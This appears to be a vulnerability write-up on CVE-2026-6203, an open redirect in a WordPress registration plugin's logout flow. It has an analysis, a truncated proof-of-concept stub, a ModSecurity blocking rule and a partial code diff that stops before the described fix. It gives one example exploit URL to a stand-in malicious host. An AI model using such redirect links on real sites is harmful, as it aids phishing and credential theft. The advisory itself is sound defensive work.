“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-6203:nThis vulnerability is an unauthenticated open redirect in the User Registration & Membership WordPress plugin versions up to and including 5.1.4. The vulnerability exists in the logout functionality, where insufficient validation of the ‘redirect_to_on_logout’ GET parameter allows attackers to redirect users to arbitrary external URLs after logout, facilitating phishing attacks. The CVSS score of 6.1 reflects the moderate impact of this client-side redirection vulnerability.nnThe root cause lies in the plugin’s logout handler processing user-supplied URLs via the ‘redirect_to_on_logout’ GET parameter. The vulnerable code passes this parameter directly to WordPress’s wp_redirect() function instead of the domain-restricted wp_safe_redirect(). While esc_url_raw() sanitizes malformed URLs, it does not restrict redirect destinations to the local domain. The vulnerability manifests in the logout flow where the redirect_to_on_logout parameter is processed without proper domain validation.nnExploitation requires an attacker to craft a malicious link containing the redirect_to_on_logout parameter pointing to an external domain. When a logged-in user clicks this link and logs out, they are redirected to the attacker-controlled URL. The attack vector uses the standard WordPress logout endpoint with the vulnerable parameter appended: /wp-login.php?action=logout&redirect_to_on_logout=https://malicious.example.com. No authentication is required to trigger the redirect.nnThe patch addresses the vulnerability by replacing wp_redirect() with wp_safe_redirect() for the redirect_to_on_logout parameter. wp_safe_redirect() validates that the redirect destination is within the same domain, preventing external redirections. The fix ensures that even if esc_url_raw() sanitizes the URL, the domain restriction enforced by wp_safe_redirect() blocks malicious external redirects. This change maintains the logout functionality while eliminating the open redirect vulnerability.nnSuccessful exploitation allows attackers to redirect users to phishing sites after logout, potentially stealing credentials or delivering malware. While the vulnerability does not directly compromise the WordPress installation, it enables social engineering attacks that could lead to credential theft. The redirect occurs after logout, making it appear legitimate to users who might not suspect malicious activity.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-6203 – User Registration & Membership <= 5.1.4 – Unauthenticated Open Redirect via 'redirect_to_on_logout' Parameternn<?phpn/**n * Proof of Concept for CVE-2026-6203n * Demonstrates unauthenticated open redirect via redirect_to_on_logout parametern * Target: WordPress User Registration & Membership plugin n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-6203nSecRule REQUEST_URI “@rx ^/wp-login\.php$” \n “id:20266203,phase:2,deny,status:403,chain,msg:’CVE-2026-6203: User Registration & Membership Open Redirect via redirect_to_on_logout’,severity:’CRITICAL’,tag:’CVE-2026-6203′,tag:’OWASP_A1:Injection’,tag:’WASCTC:WASC-38′,tag:’PCI:6.5.4′”n SecRule ARGS_GET:action “@streq logout” “chain”n SecRule ARGS_GET:redirect_to_on_logout “@rx ^(ht|f)tps?://[^/]*” \n “t:lowercase,t:urlDecodeUni,t:removeNulls,ctl:auditLogParts=+E””
}
“`

CVE-2026-6203: User Registration & Membership <= 5.1.4 – Unauthenticated Open Redirect via 'redirect_to_on_logout' Parameter (user-registration)
CVE-2026-6203
user-registration
5.1.4
5.1.5
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/user-registration/chunks/analytics.asset.php
+++ b/user-registration/chunks/analytics.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-i18n'), 'version' => '06d415d07a8adb835583');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-i18n'), 'version' => 'e45e2dcd7926e720b9bf');
--- a/user-registration/chunks/blocks.asset.php
+++ b/user-registration/chunks/blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-server-side-render'), 'version' => '0daf06e249724400ad37');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-server-side-render'), 'version' => 'dbbc339be9cb070babed');
--- a/user-registration/chunks/content-access-rules.asset.php
+++ b/user-registration/chunks/content-access-rules.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '3062c7222eea20d25b64');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '1fc21244f537b0e80d15');
--- a/user-registration/chunks/dashboard.asset.php
+++ b/user-registration/chunks/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'b3ad757068ff7212280e');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '5ed4cc7658d6c1417567');
--- a/user-registration/includes/Analytics/Analytics.php
+++ b/user-registration/includes/Analytics/Analytics.php
@@ -80,18 +80,38 @@
return;
}
+ $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
+
+ if ( ! wp_style_is( 'ur-snackbar', 'registered' ) ) {
+ wp_register_style(
+ 'ur-snackbar',
+ UR()->plugin_url() . '/assets/css/ur-snackbar/ur-snackbar.css',
+ array(),
+ constant( 'UR_VERSION' )
+ );
+ }
+ wp_enqueue_style( 'ur-snackbar' );
+
+ wp_enqueue_style( 'sweetalert2' );
+
if ( ! wp_style_is( 'ur-core-builder-style', 'registered' ) ) {
wp_register_style(
'ur-core-builder-style',
UR()->plugin_url() . '/assets/css/admin.css',
array(),
- UR_VERSION
+ constant( 'UR_VERSION' )
);
}
wp_enqueue_style( 'ur-core-builder-style' );
$asset = require $asset_file;
+ wp_register_script( 'ur-snackbar', UR()->plugin_url() . '/assets/js/ur-snackbar/ur-snackbar' . $suffix . '.js', array(), constant( 'UR_VERSION' ), true );
+ wp_enqueue_script( 'ur-snackbar' );
+
+ wp_enqueue_script( 'ur-feature-gate' );
+ wp_enqueue_style( 'ur-feature-gate' );
+
wp_enqueue_script(
'ur-analytics',
UR()->plugin_url() . '/chunks/analytics.js',
--- a/user-registration/includes/Functions/CoreFunctions.php
+++ b/user-registration/includes/Functions/CoreFunctions.php
@@ -391,6 +391,17 @@
);
$duration_label = $duration_labels[ $duration_key ] ?? ucfirst( $duration_key );
}
+
+ $subscription_period = $membership_cur_amount;
+ if ( ! empty( $membership_meta_value ) && 'subscription' === $membership_meta_value['type'] && ! empty( $duration_label ) ) {
+ $sub_value = (int) $membership['meta_value']['subscription']['value'];
+ if ( 1 === $sub_value ) {
+ $subscription_period = $membership_cur_amount . ' ' . __( 'every', 'user-registration' ) . ' ' . $duration_label;
+ } else {
+ $subscription_period = $membership_cur_amount . ' ' . __( 'every', 'user-registration' ) . ' ' . number_format( $sub_value ) . ' ' . ucfirst( $duration_label ) . __( 's', 'user-registration' );
+ }
+ }
+
$new_mem[ $k ] = array(
'ID' => $membership_id,
'title' => ! empty( $membership['post_title'] ) ? $membership['post_title'] : '',
@@ -399,7 +410,7 @@
'amount' => ! empty( $membership_meta_value ) ? $membership['meta_value']['amount'] : 0,
'currency_symbol' => $symbol,
'calculated_amount' => 'free' === $membership_type ? 0 : ( ! empty( $membership_meta_value ) ? round( $membership_meta_value['amount'] ) : 0 ),
- 'period' => 'free' === $membership_type ? __( 'Free', 'user-registration' ) : ( ( ! empty( $membership_meta_value ) && 'subscription' === $membership_meta_value['type'] ) ? $membership_cur_amount . ' / ' . number_format( $membership['meta_value']['subscription']['value'] ) . ' ' . ucfirst( $duration_label ) . ( $membership['meta_value']['subscription']['value'] > 1 ? __( 's', 'user-registration' ) : '' ) : $membership_cur_amount ),
+ 'period' => 'free' === $membership_type ? __( 'Free', 'user-registration' ) : $subscription_period,
);
if ( isset( $membership['meta_value']['payment_gateways'] ) ) {
--- a/user-registration/includes/RestApi/controllers/version1/class-ur-getting-started.php
+++ b/user-registration/includes/RestApi/controllers/version1/class-ur-getting-started.php
@@ -633,6 +633,10 @@
if ( ! empty( $page['option'] ) ) {
update_option( $page['option'], $post_id );
+ if ( 'user_registration_thank_you_page_id' === $page['option'] && $existing_form_id ) {
+ update_post_meta( $existing_form_id, 'user_registration_form_setting_redirect_after_registration', 'internal-page' );
+ update_post_meta( $existing_form_id, 'user_registration_form_setting_redirect_page', $post_id );
+ }
}
$page_details[ get_post_field( 'post_name', $post_id ) ] = array(
@@ -677,7 +681,11 @@
'title' => esc_html__( 'Registration Form', 'user-registration' ),
'page_url' => admin_url( 'admin.php?page=add-new-registration&edit-registration=' . $normal_form_id ),
'page_url_text' => esc_html__( 'View Form', 'user-registration' ),
- 'page_slug' => sprintf( esc_html__( 'Form Id: %s', 'user-registration' ), $normal_form_id ),
+ 'page_slug' => sprintf(
+ /* translators: %s: Form ID. */
+ esc_html__( 'Form Id: %s', 'user-registration' ),
+ $normal_form_id
+ ),
'status' => 'enabled',
'status_label' => esc_html__( 'Ready to use', 'user-registration' ),
);
@@ -912,6 +920,7 @@
'index' => $index,
'name' => isset( $membership['name'] ) ? $membership['name'] : '',
'message' => sprintf(
+ /* translators: 1: Membership plan type 2: Allowed membership plan types. */
__( 'Invalid membership type: %1$s. Only %2$s memberships are allowed based on your selection.', 'user-registration' ),
$plan_type,
implode( ' or ', $allowed_types )
@@ -1591,6 +1600,7 @@
*
* @param WP_REST_Request $request Request instance.
* @return WP_REST_Response
+ * @throws Exception When Stripe credential validation fails.
*/
public static function save_payment_settings( $request ) {
$offline_payment = isset( $request['offline_payment'] ) ? (bool) $request['offline_payment'] : false;
@@ -1618,7 +1628,9 @@
$offline_configured = true;
if ( $offline_payment ) {
- $offline_configured = ! empty( trim( wp_strip_all_tags( $bank_details ) ) );
+ $sanitized_bank_details = trim( wp_strip_all_tags( $bank_details ) );
+ $offline_configured = ! empty( $sanitized_bank_details );
+
if ( ! $offline_configured ) {
$configuration_needed[] = array(
'gateway' => 'offline',
@@ -1734,24 +1746,13 @@
continue;
}
- try {
- $post_data = array(
- 'ID' => $membership_id,
- 'post_title' => $post->post_title,
- 'post_content' => $post->post_content,
- );
+ $post_data = array(
+ 'ID' => $membership_id,
+ 'post_title' => $post->post_title,
+ 'post_content' => $post->post_content,
+ );
- $stripe_result = $stripe_service->create_stripe_product_and_price( $post_data, $meta, false );
-
- if ( isset( $stripe_result['success'] ) && ur_string_to_bool( $stripe_result['success'] ) ) {
- $meta['payment_gateways']['stripe'] = array();
- $meta['payment_gateways']['stripe']['product_id'] = $stripe_result['price']->product;
- $meta['payment_gateways']['stripe']['price_id'] = $stripe_result['price']->id;
- update_post_meta( $membership_id, 'ur_membership', wp_json_encode( $meta ) );
- }
- } catch ( Exception $e ) {
- continue;
- }
+ user_registration_create_product_and_price_for_stripe( $post_data );
}
} catch ( Exception $e ) {
--- a/user-registration/includes/abstracts/abstract-ur-form-field.php
+++ b/user-registration/includes/abstracts/abstract-ur-form-field.php
@@ -910,6 +910,26 @@
}
break;
+ case 'multiselect':
+ if ( isset( $setting_value['options'] )
+ && gettype( $setting_value['options'] ) == 'array' ) {
+
+ $general_setting_wrapper .= '<select data-field="' . esc_attr( $setting_key ) . '" class="ur-general-setting-field ur-multiselect ur-type-' . esc_attr( $setting_value['type'] ) . '" name="' . esc_attr( $setting_value['name'] ) . '" multiple>';
+
+ $selected_arr = $this->get_general_setting_data( $setting_key );
+ $selected_arr = maybe_unserialize( $selected_arr );
+ $selected_arr = is_array( $selected_arr ) ? $selected_arr : array();
+ foreach ( $setting_value['options'] as $key => $val ) {
+ $selected = selected( in_array( $key, $selected_arr ), true, false );
+ $general_setting_wrapper .= '<option value="' . esc_attr( $key ) . '" ' . esc_attr( $selected ) . '>';
+ $general_setting_wrapper .= esc_html( $val );
+ $general_setting_wrapper .= '</option>';
+ }
+
+ $general_setting_wrapper .= '</select>';
+ }
+ break;
+
case 'textarea':
$general_setting_wrapper .= '<textarea data-field="' . esc_attr( $setting_key ) . '" class="ur-general-setting-field ur-type-' . esc_attr( $setting_value['type'] ) . '" name="' . esc_attr( $setting_value['name'] ) . '" placeholder= "' . esc_attr( $setting_value['placeholder'] ) . '" ';
--- a/user-registration/includes/admin/class-ur-admin-assets.php
+++ b/user-registration/includes/admin/class-ur-admin-assets.php
@@ -174,6 +174,9 @@
);
}
+ wp_register_script( 'popper', UR()->plugin_url() . "/assets/js/popper/popper$suffix.js", [], UR_VERSION, true );
+ wp_register_script( 'tippy', UR()->plugin_url() . "/assets/js/tippy/tippy$suffix.js", [ 'popper' ], UR_VERSION, true );
+
wp_register_script( 'jquery-blockui', UR()->plugin_url() . '/assets/js/jquery-blockui/jquery.blockUI' . $suffix . '.js', array( 'jquery' ), UR_VERSION, true );
wp_register_script( 'tooltipster', UR()->plugin_url() . '/assets/js/tooltipster/tooltipster.bundle' . $suffix . '.js', array( 'jquery' ), UR_VERSION, true );
wp_register_script( 'jquery-confirm', UR()->plugin_url() . '/assets/js/jquery-confirm/jquery-confirm' . $suffix . '.js', array( 'jquery' ), UR_VERSION, true );
--- a/user-registration/includes/admin/class-ur-admin-base-layout.php
+++ b/user-registration/includes/admin/class-ur-admin-base-layout.php
@@ -1,6 +1,8 @@
<?php
/**
* Base Page class for pages.
+ *
+ * @package UserRegistration
*/
use WPEverestURMembershipAdminRepositoriesMembershipGroupRepository;
@@ -9,6 +11,11 @@
exit;
}
+/**
+ * Base Layout class for pages.
+ *
+ * @package UserRegistration
+ */
class UR_Base_Layout {
/**
* Render a standard list-table page layout for a given WP_List_Table instance.
@@ -49,10 +56,6 @@
$total_items = (int) $table->get_pagination_arg( 'total_items' );
}
- $is_searching = isset( $_GET['s'] ) && '' !== trim( wp_unslash( $_GET['s'] ) );
-
- $show_search = ( $total_items > 10 ) || $is_searching;
-
$is_membership_page = isset( $_GET['page'] ) && 'user-registration-membership' === $_GET['page'] && ! isset( $_GET['action'] ) ? true : false;
?>
@@ -139,8 +142,8 @@
/**
* Display Search Input with button
*
- * @param $search_id
- * @param $placeholder
+ * @param string $search_id HTML id attribute for the search input.
+ * @param string $placeholder Placeholder text for the search input (ellipsis is appended).
*
* @return void
*/
@@ -148,7 +151,7 @@
?>
<input type="search" id="<?php echo esc_attr( $search_id ); ?>" name="s"
value="<?php echo esc_attr( $_GET['s'] ?? '' ); ?>"
- placeholder="<?php echo esc_attr( $placeholder ); ?> ..."
+ placeholder="<?php echo esc_attr( $placeholder ); ?>..."
autocomplete="off">
<button type="submit" id="search-submit">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
@@ -182,18 +185,35 @@
esc_html( $type )
);
- $secondary_message = sprintf(
- /* translators: %s: type */
- __( 'Please add %s and you’re good to go.', 'user-registration' ),
- esc_html( strtolower( $type ) )
- );
+ if ( 'Memberships' === $type ) {
+ $secondary_message = sprintf(
+ /* translators: %s: type */
+ __( 'Need help setting up your %s?', 'user-registration' ),
+ esc_html( strtolower( $type ) )
+ );
+ } else {
+
+ $secondary_message = sprintf(
+ /* translators: %s: type */
+ __( 'Please add %s and you’re good to go.', 'user-registration' ),
+ esc_html( strtolower( $type ) )
+ );
+ }
+
+ $video_url = 'https://www.youtube.com/playlist?list=PLcrB6drBDePkshUw7r5BNVLRwpr8RaXyy';
}
?>
<div class="empty-list-table-container">
<img src="<?php echo esc_url( $image_url ); ?>" alt="">
<h3><?php echo esc_html( $primary_message ); ?></h3>
- <p><?php echo wp_kses_post( $secondary_message ); ?></p>
- </div>
+ <div class="empty-list-table-subtext">
+ <p><?php echo wp_kses_post( $secondary_message ); ?></p>
+ <?php if ( ! empty( $video_url ) && 'Memberships' === $type ) : ?>
+ <a class="empty-video-url" target="_blank" href="<?php echo esc_url( $video_url ); ?>"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-external-link"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"/><polyline points="15 3 21 3 21 9"/><line x1="10" y1="14" x2="21" y2="3"/></svg>
+ <?php echo 'Watch Tutorials'; ?></a>
+ <?php endif; ?>
+ </div>
+ </div>
<?php
}
}
--- a/user-registration/includes/admin/class-ur-admin-menus.php
+++ b/user-registration/includes/admin/class-ur-admin-menus.php
@@ -1119,6 +1119,18 @@
wp_enqueue_style( 'ur-toast' );
wp_enqueue_script( 'ur-enhanced-select-custom' );
+ wp_add_inline_script(
+ 'ur-enhanced-select-custom',
+ "
+ (function($) {
+ 'use strict';
+ $(document).ready(function() {
+ $('.ur-multiselect').select2();
+ });
+ })(jQuery);
+ "
+ );
+
wp_localize_script(
'ur-setup',
'ur_setup_params',
--- a/user-registration/includes/admin/class-ur-admin-registrations-table-list.php
+++ b/user-registration/includes/admin/class-ur-admin-registrations-table-list.php
@@ -245,6 +245,9 @@
public function display() {
$singular = $this->_args['singular'];
+ $this->views();
+ echo '</br>';
+
$this->display_tablenav( 'top' );
$this->screen->render_screen_reader_content( 'heading_list' );
--- a/user-registration/includes/admin/class-ur-admin-settings.php
+++ b/user-registration/includes/admin/class-ur-admin-settings.php
@@ -65,7 +65,8 @@
global $current_section, $current_tab;
global $current_section_part;
- $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
+ $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
+ $current_tab_for_assets = empty( $_GET['tab'] ) ? 'general' : sanitize_title( wp_unslash( $_GET['tab'] ) ); // phpcs:ignore WordPress.Security.NonceVerification
/**
* Action to output start settings
@@ -123,6 +124,41 @@
"
);
+ if ( 'payment' === $current_tab_for_assets ) {
+ wp_enqueue_script( 'tippy' );
+ if ( ! wp_style_is( 'ur-membership-admin-style', 'registered' ) ) {
+ wp_register_style( 'ur-membership-admin-style', UR()->plugin_url() . '/assets/css/modules/membership/user-registration-membership-admin.css', array(), UR_VERSION );
+ }
+ wp_enqueue_style( 'ur-membership-admin-style' );
+ wp_add_inline_script(
+ 'tippy',
+ 'jQuery(document).ready(function() {
+ var el = document.querySelectorAll("[data-gate-content]");
+ if (el.length && typeof window.tippy !== "undefined") {
+ tippy.setDefaultProps({ maxWidth: "280px" });
+ el.forEach(function(ref) {
+ var placement = ref.getAttribute("data-gate-placement") || "right";
+ tippy(ref, {
+ content: function() {
+ var id = ref.getAttribute("data-gate-content");
+ var template = document.getElementById(id);
+ if (!template || !template.content) return "";
+ var div = document.createElement("div");
+ div.appendChild(template.content.cloneNode(true));
+ return div.innerHTML;
+ },
+ allowHTML: true,
+ interactive: true,
+ placement: placement,
+ inertia: true,
+ theme: "ur-gate"
+ });
+ });
+ }
+ });'
+ );
+ }
+
wp_add_inline_style(
'ur-snackbar',
'
@@ -198,8 +234,6 @@
'i18n' => array(
'advanced_logic_rules_exist_error' => esc_html__( 'Remove all rules with advance logics first before disabling.', 'user-registration' ),
'advanced_logic_check_error' => esc_html__( 'An error occurred while checking for advanced logic rules.', 'user-registration' ),
- 'advanced_logic_rules_exist_error' => esc_html__( 'Remove all rules with advance logics first before disabling.', 'user-registration' ),
- 'advanced_logic_check_error' => esc_html__( 'An error occurred while checking for advanced logic rules.', 'user-registration' ),
'captcha_success' => esc_html__( 'Captcha Test Successful !', 'user-registration' ),
'captcha_reset_title' => esc_html__( 'Reset Keys', 'user-registration' ),
'payment_reset_title' => esc_html__( 'Reset Details', 'user-registration' ),
@@ -267,7 +301,7 @@
*
* @param array Array of settings page
*/
- $tabs = apply_filters( 'user_registration_settings_tabs_array', array() );
+ $tabs = apply_filters( 'user_registration_settings_tabs_array', array() ); // phpcs:ignore
$GLOBALS['hide_save_button'] = false;
if ( 'import_export' === $current_tab ) {
@@ -298,11 +332,7 @@
$settings[] = include 'settings/class-ur-settings-email.php';
$settings[] = include 'settings/class-ur-settings-registration-login.php';
$settings[] = include 'settings/class-ur-settings-my-account.php';
-
- // $is_pro_active = is_plugin_active( 'user-registration-pro/user-registration.php' );
- // if( $is_pro_active ) {
$settings[] = include 'settings/class-ur-settings-integration.php';
- // }
$settings[] = include 'settings/class-ur-settings-security.php';
$settings[] = include 'settings/class-ur-settings-advanced.php';
@@ -339,7 +369,7 @@
$flag = apply_filters( 'user_registration_settings_prevent_default_login', $_REQUEST );
if ( $flag && is_bool( $flag ) ) {
- if ( $current_tab !== 'license' ) {
+ if ( 'license' !== $current_tab ) {
self::add_message( esc_html__( 'Your settings have been saved.', 'user-registration' ) );
}
@@ -403,6 +433,7 @@
* Add an error.
*
* @param string $text Text.
+ * @param string $type Error Type.
*/
public static function add_error( $text, $type = '' ) {
if ( ! empty( $type ) ) {
@@ -420,6 +451,7 @@
* @param array $options Opens array to output.
*/
public static function output_fields( $options ) {
+
$settings = '';
if ( is_array( $options ) && ! empty( $options ) ) {
@@ -469,25 +501,25 @@
if ( ! empty( $section['title'] ) ) {
$settings .= '<div class="user-registration-card__header-wrapper">';
if ( isset( $section['back_link'] ) ) {
- $settings .= $section['back_link']; // removed kses since the inputs are sanitized in the function ur_back_link itself
+ $settings .= $section['back_link']; // removed kses since the inputs are sanitized in the function ur_back_link itself.
}
$settings .= '<h3 class="user-registration-card__title">';
$settings .= esc_html( ucwords( $section['title'] ) );
if ( isset( $section['is_premium'] ) && $section['is_premium'] ) {
- $settings .= '<div style="margin-right: 4px;display: inline-block;width: 16px; height: 16px;" ><img style="width: 100%;height:100%;" src="' . UR()->plugin_url() . '/assets/images/icons/ur-pro-icon.png' . '" /></div>';
+ $settings .= '<div style="margin-right: 4px;display: inline-block;width: 16px; height: 16px;" ><img style="width: 100%;height:100%;" src="' . UR()->plugin_url() . '/assets/images/icons/ur-pro-icon.png" /></div>';
}
$settings .= '</h3>';
if ( ! empty( $section['button'] ) ) {
if ( isset( $section['button']['button_type'] ) && 'upgrade_link' === $section['button']['button_type'] ) {
- $settings .= '<a href="' . ( isset( $section['button']['button_link'] ) ? $section['button']['button_link'] : '#' ) . '" class="ur-upgrade--link" target="_blank">' . '<span>' . ( isset( $section['button']['button_text'] ) ? $section['button']['button_text'] : '' ) . '</span></a>';
+ $settings .= '<a href="' . ( isset( $section['button']['button_link'] ) ? $section['button']['button_link'] : '#' ) . '" class="ur-upgrade--link" target="_blank"><span>' . ( isset( $section['button']['button_text'] ) ? $section['button']['button_text'] : '' ) . '</span></a>';
} else {
$button_class = isset( $section['button']['button_class'] ) ? esc_attr( $section['button']['button_class'] ) : 'user_registration_smart_tags_used';
$button_type = isset( $section['button']['button_type'] ) ? $section['button']['button_type'] : '';
$button_target = ( 'ur-add-new-custom-email' === $button_type ) ? '' : 'target="_blank"';
$external_icon = ( 'ur-add-new-custom-email' === $button_type ) ? '' : '<span class="dashicons dashicons-external"></span>';
- $settings .= '<a href="' . ( isset( $section['button']['button_link'] ) ? $section['button']['button_link'] : '#' ) . '" class="' . $button_class . '" style="min-width:90px;" ' . $button_target . '>' . '<span style="text-decoration: underline;">' . ( isset( $section['button']['button_text'] ) ? $section['button']['button_text'] : '' ) . '</span>' . $external_icon . '</a>';
+ $settings .= '<a href="' . ( isset( $section['button']['button_link'] ) ? $section['button']['button_link'] : '#' ) . '" class="' . $button_class . '" style="min-width:90px;" ' . $button_target . '><span style="text-decoration: underline;">' . ( isset( $section['button']['button_text'] ) ? $section['button']['button_text'] : '' ) . '</span>' . $external_icon . '</a>';
}
}
$settings .= '</div>';
@@ -499,15 +531,15 @@
$settings .= '</div>';
- //Show upsell texts.
+ // Show upsell texts.
if ( ! empty( $section['upsell'] ) ) {
$upsell_section = $section['upsell'];
$settings .= '<div class="user-registration-upsell">';
- //excerpt.
+ // excerpt.
if ( ! empty( $upsell_section['excerpt'] ) ) {
$settings .= '<p style="font-size: 14px;">' . wptexturize( wp_kses_post( $upsell_section['excerpt'] ) ) . '</p>';
}
- //descriptions.
+ // descriptions.
if ( ! empty( $upsell_section['description'] ) ) {
if ( is_string( $upsell_section['description'] ) ) {
$settings .= '<p style="font-size: 14px;">' . wptexturize( wp_kses_post( $upsell_section['excerpt'] ) ) . '</p>';
@@ -528,10 +560,6 @@
$settings .= '</div>';
}
- if ( ! empty( $section['before_desc'] ) ) {
- // $settings .= '<p style="font-size: 14px;">' . wptexturize( wp_kses_post( $section['before_desc'] ) ) . '</p>';
- }
-
if ( ! empty( $section['desc'] ) ) {
$settings .= '<p class="ur-p-tag">' . wptexturize( wp_kses_post( $section['desc'] ) ) . '</p>';
}
@@ -565,8 +593,14 @@
} else {
$settings .= '<div class="user-registration-card ur-mb-2' . $is_captcha . '" ' . esc_attr( $section_id ) . '>';
}
+
$settings .= '<div class="user-registration-card__header ur-d-flex ur-align-items-center ur-p-3 integration-header-info accordion' . $is_captcha_header . '">';
- $settings .= '<div class="integration-detail">';
+ if ( ! UR_PRO_ACTIVE && ( 'free-mollie' === $section['id'] || 'free-authorize-net' === $section['id'] ) ) {
+ $settings .= '<div class="integration-detail upgradable-type">';
+ } else {
+
+ $settings .= '<div class="integration-detail ">';
+ }
$settings .= '<figure class="logo">';
$settings .= '<img src="' . UR()->plugin_url() . '/assets/images/settings-icons/' . $section['id'] . '.png" alt="' . $section['title'] . '">';
$settings .= '</figure>';
@@ -574,6 +608,21 @@
$settings .= '<h3 class="user-registration-card__title">' . esc_html( $section['title'] );
$settings .= '</h3>';
}
+ if ( ! UR_PRO_ACTIVE && ( 'free-mollie' === $section['id'] || 'free-authorize-net' === $section['id'] ) ) {
+ $result = ' data-gate-content="ur-pro-' . $section['id'] . '"';
+ $settings .= '<img class="ur-pro-premium" data-feature-gate="tooltip" data-gate-placement="right" data-gate-interactive="true"' . $result . ' src="' . UR()->plugin_url() . '/assets/images/icons/ur-pro-icon.png" alt="' . $section['title'] . '">';
+ $settings .= '<template id="ur-pro-' . $section['id'] . '">';
+ $settings .= '<div class="ur-feature">';
+ $settings .= '<div class="ur-feature__title">';
+ $settings .= esc_html__( $section['title'] . ' payment feature only available in Pro.', 'user-registration' );
+ $settings .= '</div>';
+ $settings .= '<a target="_blank" class="ur-feature__btn" href="https://wpuserregistration.com/upgrade/?utm_source=ur-membership-create&utm_medium=upgrade-link&utm-campaign=lite-version">';
+ $settings .= '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M11.562 3.266a.5.5 0 0 1 .876 0L15.39 8.87a1 1 0 0 0 1.516.294L21.183 5.5a.5.5 0 0 1 .798.519l-2.834 10.246a1 1 0 0 1-.956.734H5.81a1 1 0 0 1-.957-.734L2.02 6.02a.5.5 0 0 1 .798-.519l4.276 3.664a1 1 0 0 0 1.516-.294z"></path><path d="M5 21h14"></path></svg>';
+ $settings .= esc_html__( 'Upgrade to Pro', 'user-registration' );
+ $settings .= '</a>';
+ $settings .= '</div>';
+ $settings .= '</template>';
+ }
$settings .= '<span class="ur-connection-status ' . ( $is_connected ? 'ur-connection-status--active' : '' ) . '">';
$settings .= '</span>';
@@ -656,6 +705,13 @@
$field_description = self::get_field_description( $value );
extract( $field_description ); // phpcs:ignore
+ $notice_field = '';
+ if ( isset( $value['notice'] ) && ! empty( $value['notice'] ) ) {
+ $notice_type = isset( $value['notice']['type'] ) ? $value['notice']['type'] : 'info';
+ $notice_message = isset( $value['notice']['message'] ) ? $value['notice']['message'] : '';
+ $notice_field = '<span class="ur-settings-notice ur-settings-notice--' . $notice_type . '">' . $notice_message . '</span>';
+ }
+
// Display condition/dependency handling.
$display_condition_data = self::get_display_condition_attributes( $value );
$display_condition_attrs = $display_condition_data['attrs'];
@@ -830,7 +886,7 @@
cols="' . esc_attr( $value['cols'] ) . '"
placeholder="' . esc_attr( $value['placeholder'] ) . '"
' . esc_html( implode( ' ', $custom_attributes ) ) . '>'
- . esc_textarea( $option_value ) . '</textarea>';
+ . esc_textarea( $option_value ) . '</textarea>';
$settings .= '</div>';
$settings .= '</div>';
break;
@@ -1215,6 +1271,7 @@
$settings .= '</div>';
$settings .= wp_kses_post( $description );
$settings .= wp_kses_post( $desc_field );
+ $settings .= wp_kses_post( $notice_field );
$settings .= '</div>';
$settings .= '</div>';
break;
@@ -1284,14 +1341,14 @@
)
);
$show_reset_key_button = ( $is_connected && in_array(
- $section_id,
- array(
- 'v2',
- 'v3',
- 'hCaptcha',
- 'cloudflare',
- )
- ) );
+ $section_id,
+ array(
+ 'v2',
+ 'v3',
+ 'hCaptcha',
+ 'cloudflare',
+ )
+ ) );
if ( in_array(
$section_id,
array(
@@ -1300,6 +1357,8 @@
'bank',
'payment-settings',
'mollie',
+ 'free-mollie',
+ 'free-authorize-net',
'authorize-net',
'v2',
'v3',
@@ -1900,7 +1959,7 @@
// Save all options in our array.
foreach ( $update_options as $name => $value ) {
- //sync membership 'user_registration_member_registration_page_id' with 'user_registration_registration_page_id'.
+ // sync membership 'user_registration_member_registration_page_id' with 'user_registration_registration_page_id'.
if ( 'user_registration_member_registration_page_id' === $name ) {
update_option( 'user_registration_registration_page_id', $value );
}
--- a/user-registration/includes/admin/settings/class-ur-settings-general.php
+++ b/user-registration/includes/admin/settings/class-ur-settings-general.php
@@ -114,17 +114,17 @@
'css' => '',
'desc_tip' => true,
),
- array(
- 'title' => __( 'Thank You Page', 'user-registration' ),
